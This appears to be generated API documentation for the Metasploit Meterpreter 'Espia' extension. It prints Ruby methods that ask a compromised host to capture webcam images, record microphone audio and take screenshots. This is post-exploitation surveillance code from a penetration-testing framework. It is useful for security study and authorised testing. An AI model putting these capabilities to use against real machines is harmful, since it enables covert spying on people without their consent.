Class: Rex::Post::Meterpreter::Extensions::Espia::Espia

Inherits:
Rex::Post::Meterpreter::Extension show all
Defined in:
lib/rex/post/meterpreter/extensions/espia/espia.rb

Overview

This meterpreter extensions interface that is capable grab webcam frame and recor mic audio

Instance Attribute Summary

Attributes inherited from Rex::Post::Meterpreter::Extension

#name

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ Espia

Returns a new instance of Espia.



21
22
23
24
25
26
27
28
29
30
31
# File 'lib/rex/post/meterpreter/extensions/espia/espia.rb', line 21

def initialize(client)
	super(client, 'espia')

	client.register_extension_aliases(
		[
			{
				'name' => 'espia',
				'ext'  => self
			},
		])
end

Instance Method Details

#espia_audio_get_dev_audio(rsecs) ⇒ Object



40
41
42
43
44
45
46
# File 'lib/rex/post/meterpreter/extensions/espia/espia.rb', line 40

def espia_audio_get_dev_audio(rsecs)
	request = Packet.create_request('espia_audio_get_dev_audio')
	request.add_tlv(TLV_TYPE_DEV_RECTIME, rsecs)
	response = client.send_request(request)

	return true
end

#espia_image_get_dev_screenObject



48
49
50
51
52
53
54
55
# File 'lib/rex/post/meterpreter/extensions/espia/espia.rb', line 48

def espia_image_get_dev_screen
	request  = Packet.create_request( 'espia_image_get_dev_screen' )
	response = client.send_request( request )
	if( response.result == 0 )
		return response.get_tlv_value( TLV_TYPE_DEV_SCREEN )
	end
	return nil
end

#espia_video_get_dev_imageObject



33
34
35
36
37
38
# File 'lib/rex/post/meterpreter/extensions/espia/espia.rb', line 33

def espia_video_get_dev_image()
	request = Packet.create_request('espia_video_get_dev_image')
	response = client.send_request(request)

	return true
end